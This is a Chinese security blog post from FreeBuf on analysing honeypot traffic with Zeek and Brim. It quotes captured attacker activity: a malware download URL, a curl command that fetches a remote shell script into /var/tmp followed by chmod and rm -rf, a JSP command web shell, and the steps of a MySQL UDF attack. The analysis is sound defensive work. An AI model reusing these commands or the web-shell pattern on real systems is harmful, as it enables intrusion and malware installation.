freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

用Brim分析蜜罐流量不亦乐乎
2020-08-04 17:51:38

一、两个流量分析工具简介

1.1 Zeek简介

Zeek (曾用名Bro) 是一款大名鼎鼎的开源网络安全分析工具。Zeek 可以监测网络流量中的可疑活动,通过 Zeek 的脚本可以实现灵活的分析功能,可实现多种协议的开相机用的分析。详情请参考官网-https://zeek.org/

1.2 Brim简介

2020年3月份,美国Brimsecurity公司开源了:

Brim(https://github.com/brimsec/brim)

这个工具综合了Wireshark和Zeek(以前的Bro)的特点,特别适合处理大数据量的pcap文件,从流量分析中发现潜在的问题。它由下面的组件组成:

① 结构化日志查询引擎 ZQ

② 用于多平台用户界面的 Electron 和 React

③ 从数据包捕获文件生成网络分析数据的 Zeek

Brim的出现有以下重要的意义:

① 站在Zeek的肩膀上分析pcap文件,可以在桌面上进行查找分析metadata,并且对于具体的流量数据可以用wireshark观看

② 另外就是它的创始人Steve McCanne(一个大牛人,libcap的作者,tcpdump的co-author)的原话:We wanted to reduce the time it takes anyone – expert incident responders and threat hunters, or someone just looking to win a capture-the-flag contest – to find interesting data in big pcaps and logs.

这里,我很负责人的告诉大家,Brim有毒,极其容易上瘾,慎用……

二、蜜罐巡游

笔者在互联网上部署了若干蜜罐,开放了SSH, MongoDB, MySQL, Telnet等服务,每天可以接收到大量的威胁攻击信息,所有的攻击流量都会自动保存。我们先选取MySQL蜜罐看一下发生的事件。

到Virustotal查看URL:

http://154.209.236.172:8900/3306.exe

发现:

所以根据这个蜜罐里的发现,我们可以推断出这个攻击手法:

1)攻击者想把MySQL server变成一个远程执行代码的肉鸡;

2)通过暴力破解用户并登陆成功;

3)创建一个数据表,插入一个执行文件的十六进制文本到这个表中;

4)查询此表并且将十六进制文件保存到本地文件cna12.dll;

5)通过MySQL中的UDF功能(User Define Function)来加载此dll文件,这里是xpdl3;

6)远程抓取malware文件到本地执行;

7)清理现场。

这所有的一切都被蜜罐抓的清清楚楚,无所遁形。

接下来,让我们依次用Zeek和Brim分析一下蜜罐流量。

三、Zeek来分析蜜罐流量

3.1 Zeek还原的日志

默认的还原不带文件,所以我们需要写一段程序- file.zeek如下所示,这里demo我们只写几种常见的文件类型,如果需要可以继续补充:

global mime_to_ext: table[string] of string = {    ["application/x-dosexec"] = "exe",    ["text/plain"] = "txt",    ["image/jpeg"] = "jpg",    ["image/png"] = "png",    ["application/zip"] = "zip",    ["text/html"] = "html",};event file_sniff(f: fa_file, meta: fa_metadata)    {    if ( ! meta?$mime_type )        return;    if ( meta$mime_type !in mime_to_ext )        return;    local fname = fmt("%s-%s.%s", f$source, f$id, mime_to_ext[meta$mime_type]);    print fmt("Extracting file %s", fname);    Files::add_analyzer(f, Files::ANALYZER_EXTRACT, [$extract_filename=fname]);    }

然后再执行下面的程序就可以把文件还原出来:

zeek -C -r file.zeek 20200428.pcap

从流量还原出来的文件类型,看起来有2种类型,都是在file.log中。

3.1.1 Txt文件

① sshd.sh

面对如此茫茫多的txt文件,没办法,选几个打开看看里面的内容,下面的内容引起了我的好奇心,而好奇心是威胁狩猎的一个必要条件哦:

HTTP-FWLSSm25obb5LVub12.txt:

cmd=curl http://ionage.theworkpc.com:8088/sshd.sh -o /var/tmp/juliuscaesar.sh

HTTP-FbsGTSGkR3kPlCIJ4.txt:

cmd=chmod 777 /var/tmp/juliuscaesar.sh

HTTP-FYHAb81wQsh3uX7zob.txt:

cmd=rm -rf /var/tmp/juliuscaesar.sh

其实Zeek把所有http的POST请求都当作文件了,因为POST请求的大小未知,不能放在metadata里。这时候我们要继续寻找关联根据id。

3.1.2 Html文件

在html文件中找到了若干通过shell执行的命令:

HTTP-F5L3Vz1cFSc4GTK8S4.html<HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre>Command: rm -rf /var/tmp/juliuscaesar.sh<BR></pre></BODY></HTML>
(1) 关联分析1 - connection.log

这时候我们在做关联分析在connection.log中搜索

1588040467.536103 FYHAb81wQsh3uX7zob   205.185.125.243  192.168.101.17   C5SkskjFWCjSkzb89 HTTP   0   (empty)    text/plain -   0.000000  -   T   35  35  0   0   F   -   -   -   -    -   -   -1588040467.536135 F5L3Vz1cFSc4GTK8S4   192.168.101.17   205.185.125.243  C5SkskjFWCjSkzb89 HTTP   0   (empty)    text/html -   0.000000  -   F   225 225 0   0   F   -   -   -   -    -   -   -

这样一来可以这么解释:攻击者(205.185.125.243)向我们的Tomcat蜜罐(内网地址是192.168.101.17,外网地址省略),由于这个蜜罐可以上传文件,所以攻击者上传了一个shell文件(文件在哪里呢?请看下一小节),然后执行了相应的删除指令。

(2) 关联分析2 - http.log

然后我们再做关联分析,在http.log中进行搜索,才发现上传了cmd.jsp这个文件。

1588040467.536103 C5SkskjFWCjSkzb89 205.185.125.243  51172  192.168.101.17   8080   1    POST   172.105.96.197   /jsp_app/cmd.jsp -   1.1 curl/7.47.0   -   35  225 200 (empty)    -   -   (empty)    -   -   -   FYHAb81wQsh3uX7zob   -   text/plain F5L3Vz1cFSc4GTK8S4    -   text/html

3.2 其它的日志文件 - DNS

3.2.1 dns.log

看着这个日志,发现几乎都是来自192.168.1.6这个Telnet蜜罐的,内容如下:

1588003200.059386 CbkyJ72qaH0OTpRE94   192.168.101.6 55979  23.239.18.5   53  udp 50213    -   188.203.82.42.in-addr.arpa  1   C_INTERNET 12  PTR -   -   F   F   T   F   0   -   -    F

是攻击者登陆到我们的Telnet蜜罐,向这个DNS域名服务器23.239.18.5请求42.82.203.188的反向域名。这里需要注意IPv4的Reverse DNS lookup。

For example, to do a reverse lookup of the IP address 8.8.4.4 the PTR record for the domain name 4.4.8.8.in-addr.arpa would be looked up, and found to point to google-public-dns-b.google.com.

写到这里,大家都明白了:在蜜罐里做DNS查询能有啥好事情呢?

嗯,我们通过Zeek做了一定的分析,不管怎样,还是分析出一些东西,现在激动人心的时刻到了,Brim会给我们带来什么惊喜呢?

四、Brim来分析蜜罐流量

第一步,别忘了修改Brim的时区

File -> Settings,然后修改Timezone为Asia/Shanghai

首先映入眼帘的就是这个pcap的时间轴视图,非常的直观。可我的问题是:为什么只有5点左右的数据啊?我们明明有0点的日志——是数据被丢失了呢?还是怎么回事?后来仔细看看,其实原来都有的,只不过其它时间的事件较少,所以就没显示出来,如果你把鼠标移动过去,还是可以看到的,差点被Brim骗了,套路真深……

这时候就必须介绍一下强大的zq查询语法了,用了以后你简直会怀疑人生——竟然有这么好的工具??

ZQL - https://github.com/brimsec/zq/blob/master/zql/docs/README.md

现在开始我们的旅程吧

4.1 DNS查询

上次我们花了很多时间用Zeek来分析DNS,那如果有ZQL会怎么样呢?废话少说,直接上ZQL。

_path="dns" | count() by id.orig_h

结果如下,发现在蜜罐(6-Telnet, 3-SSH, 9-MySQL)

那我们在想,为什么这3个蜜罐在外发DNS请求,是不是被攻克了?所以我们先看一下MySQL这个蜜罐

然后我们看一下这两个DNS服务器(天际友盟情报(https://alice.tj-un.coam/#)和ipip(https://www.ipip.net/ip.html)查一下),都正常

再看一下做了哪些查询,需要注意在这里我们要倒着查,比如下图第一行,应该是180.96.63.13

4.2 files查询

有了这个,蓦然发现分析流量原来是那么的简单。

五、总结

蜜罐最擅长的就是抓取各种攻击流量,而Zeek和Brim能很好的进行流量分析,分析其攻击手法,从而更好的进行防御,有的时候你会感觉自己简直是站在上帝视角在看进攻,那种感觉真的很不错。

# 蜜罐 # Zeek
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者